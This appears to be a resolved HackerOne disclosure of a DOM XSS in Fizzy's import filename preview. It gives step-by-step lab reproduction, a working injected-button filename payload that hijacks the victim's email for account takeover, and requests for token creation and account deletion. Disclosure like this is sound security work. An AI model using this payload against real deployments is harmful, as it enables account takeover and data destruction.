DOM XSS in `fizzy.do` import filename preview enables one-click victim account takeover

Disclosed: 2026-04-14 21:36:22 By xavlimsg To basecamp
High
Vulnerability Details
## Description ## Summary: While auditing the latest Fizzy code and validating it end to end in a live Docker deployment of current `main`, I found that the account import page renders the selected local filename with `innerHTML` instead of `textContent`. In practice, that means a crafted `.zip` filename is not shown as text. It is parsed as live HTML inside the real authenticated import form on `/account/imports/new`. Because that form already contains the victim's session and a valid CSRF token, I was able to inject a second submit control with an attacker-chosen `formaction` and turn the filename preview into an authenticated request gadget. I pushed this beyond a theoretical DOM issue and validated the full attack chain to victim account takeover. The strongest demonstrated path was: 1. I made the victim browser submit an email-change request to `[email protected]` 2. Fizzy sent the confirmation link to the attacker-controlled mailbox 3. I redeemed that confirmation link 4. Fizzy created a fresh authenticated victim session for me 5. I accessed the victim account and victim profile edit page with `200 OK` I also separately validated two additional impacts from the same sink: - victim write-scoped personal access token creation - victim account deletion The worst case that I actually demonstrated is full victim account takeover. ## Steps To Reproduce: I am including a zip bundle with the exact scripts I used. The attachment contains: - `basecamp_submission__fizzy_do__cwe-79__.md` Purpose: this submission text in markdown form. - `2026-03-16_import-filename_dom-xss_api-token.md` Purpose: my full technical write-up with the complete attack path, evidence, and code references. - `fizzy_dom_xss_seed.rb` Purpose: seeds the attacker mailbox identity and victim owner account. - `fizzy_dom_xss_takeover_chain.sh` Purpose: replays the full account-takeover chain after the victim session exists. - `fizzy_dom_xss_account_delete_poc.js` Purpose: reproduces the secondary destructive impact, account deletion, in Playwright. - `README.md` I validated on current upstream: - commit: `4211e20a663eb5ad8d4ca3340a1f8d247472c4dc` ### Setup 1. Check out the latest affected revision and build the app: ```bash git clone https://github.com/basecamp/fizzy.git cd fizzy git fetch origin git checkout 4211e20a663eb5ad8d4ca3340a1f8d247472c4dc docker build -t fizzy-main-latest . ``` 2. Start an SMTP capture container and a Fizzy app container: ```bash docker run -d --name fizzy-mailhog-bridge mailhog/mailhog docker run -d --name fizzy-ato-poc \ -e SECRET_KEY_BASE="$(openssl rand -hex 32)" \ -e DISABLE_SSL=true \ -e MULTI_TENANT=true \ -e SMTP_ADDRESS=172.17.0.6 \ -e SMTP_PORT=1025 \ -e SMTP_USERNAME=test \ -e SMTP_PASSWORD=test \ -e SMTP_AUTHENTICATION=plain \ -e BASE_URL=http://172.17.0.7:3000 \ fizzy-main-latest \ bash -lc './bin/rails db:prepare && ./bin/rails server -b 0.0.0.0 -p 3000' ``` 3. Seed the attacker mailbox identity and victim owner account: ```bash docker cp fizzy_dom_xss_seed.rb fizzy-ato-poc:/tmp/fizzy_dom_xss_seed.rb docker exec fizzy-ato-poc bash -lc 'bundle exec rails runner /tmp/fizzy_dom_xss_seed.rb' ``` In my run, that gave me: ```text victim account slug: /40002 victim user id: 03frq8zae2a7m9cari0v89xua attacker mailbox: [email protected] victim mailbox: [email protected] ``` 4. Sign in as the victim through the real HTTP flow and keep the victim cookie jar: ```bash curl -s -i -c /workspace/victim_ato.cookies -X POST \ -d [email protected] \ http://172.17.0.7:3000/session ``` Then finish the magic-link sign-in. In my lab I completed real victim authentication before triggering the filename attack. ### Full takeover reproduction 1. Create a local file whose name injects a second submit button into the import form: ```text <button formaction=&#47;40002&#47;users&#47;03frq8zae2a7m9cari0v89xua&#47;email_addresses formmethod=post name=email_address [email protected]>Take over.zip ``` 2. As the logged-in victim, open: ```text http://172.17.0.7:3000/account/imports/new ``` 3. Select the malicious file. The preview will render a live injected button instead of inert filename text. 4. Click the injected `Take over.zip` control. This causes the victim browser to submit: ```http POST /40002/users/03frq8zae2a7m9cari0v89xua/email_addresses ``` with: - the victim's real authenticated session - the page's real CSRF token - `[email protected]` 5. Open the attacker mailbox in MailHog and retrieve the `Confirm your new email address` message. It contains a real confirmation URL like: ```text http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation ``` 6. Visit that confirmation URL and submit the real confirmation form. Fizzy then responds with: ```http HTTP/1.1 302 Found Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit Set-Cookie: session_token=...; httponly; samesite=lax ``` 7. Reuse that new `session_token` cookie to request: ```text GET /40002/ GET /40002/users/03frq8zae2a7m9cari0v89xua/edit ``` Both returned `200 OK` in my validation. 8. Confirm server-side that the victim user identity email changed to `[email protected]`. ### What I observed during validation The full takeover chain succeeded. These are the exact checkpoints I confirmed: - victim-side malicious POST to `/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses` - confirmation mail delivered to the attacker mailbox - successful confirmation POST - new attacker-side `session_token` - `200 OK` on the victim account and victim profile edit page - victim identity now bound to `[email protected]` ### Additional validated impacts from the same sink I also reproduced: 1. Victim write-scoped personal access token creation ```http POST /20002/my/access_tokens ``` 2. Victim account deletion ```http POST /20002/account/cancellation ``` I included the deletion PoC script in the zip because it is a clean secondary demonstration of the same primitive, but the primary reportable impact is the mailbox-backed account takeover above. ## Supporting Material/References: ### Code references - `app/javascript/controllers/upload_preview_controller.js` - `app/views/account/imports/new.html.erb` - `app/controllers/users/email_addresses_controller.rb` - `app/controllers/users/email_addresses/confirmations_controller.rb` - `app/controllers/account/cancellations_controller.rb` ### Key evidence I captured Victim-side malicious POST: ```text Started POST "/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses" for 172.17.0.2 Processing by Users::EmailAddressesController#create as */* Parameters: {"authenticity_token"=>"[FILTERED]", "email_address"=>"[email protected]", "user_id"=>"03frq8zae2a7m9cari0v89xua"} [ActiveJob] Enqueued ActionMailer::MailDeliveryJob ... "UserMailer", "email_change_confirmation" ``` Attacker mailbox confirmation message: ```text Subject: Confirm your new email address http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation ``` Attacker-side confirmation response: ```http HTTP/1.1 302 Found Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit Set-Cookie: session_token=...; httponly; samesite=lax ``` Attacker-side access after takeover: ```text ATTACKER_ACCOUNT_HTTP=200 ATTACKER_EDIT_HTTP=200 {user_identity_email: "[email protected]", account_slug: "/40002"} ``` ### Attachment bundle I prepared a zip bundle containing the report plus all supporting scripts and notes: - `basecamp_fizzy_dom_xss_account_takeover_bundle.zip` ## Impact # Impact An external attacker can send a crafted `.zip` file to a logged-in Fizzy owner and, with a single click on the import page, cause the victim browser to submit attacker-chosen same-origin authenticated POST requests using the victim session and the page's valid CSRF token. The worst case I actually demonstrated was full victim account takeover. I was able to: - trigger a victim email change to an attacker-controlled mailbox - receive the confirmation link in the attacker mailbox - redeem that link - obtain a fresh authenticated victim session - access the victim account as that victim I also separately demonstrated: - victim write-token creation - victim account deletion So the demonstrated impact is not just UI manipulation or an isolated DOM bug. It is a reliable path to full account compromise, plus destructive integrity and availability impact, from a single user interaction on the import page.
Actions
View on HackerOne
Report Stats
  • Report ID: 3608199
  • State: Closed
  • Substate: resolved
  • Upvotes: 2
Share this report